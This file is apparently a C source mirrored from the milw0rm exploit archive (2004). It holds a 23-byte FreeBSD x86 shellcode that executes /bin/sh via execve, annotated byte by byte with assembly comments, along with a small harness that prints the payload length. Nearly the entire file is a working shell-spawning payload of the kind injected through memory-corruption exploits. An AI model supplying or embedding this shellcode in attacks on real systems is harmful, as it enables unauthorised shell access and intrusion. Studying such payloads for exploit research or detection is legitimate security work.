26 lines
No EOL
1.1 KiB
C
Executable file
26 lines
No EOL
1.1 KiB
C
Executable file
/* FreeBSD 23 byte execve code. Greetz to anathema, the first who published *
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* this way of writing shellcodes. *
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* greetz to preedator marcetam *
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* admin@marcetam.net *
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****************************************************************************/
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char fbsd_execve[]=
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"\x99" /* cdq */
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"\x52" /* push %edx */
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"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
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"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x51" /* push %ecx - or %edx :) */
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"\x52" /* push %edx - or %ecx :) */
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"\x53" /* push %ebx */
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"\x53" /* push %ebx */
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"\x6a\x3b" /* push $0x3b */
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"\x58" /* pop %eax */
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"\xcd\x80"; /* int $0x80 */
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int main() {
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void (*run)()=(void *)fbsd_execve;
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printf("%d bytes \n",strlen(fbsd_execve));
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}
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// milw0rm.com [2004-09-26]
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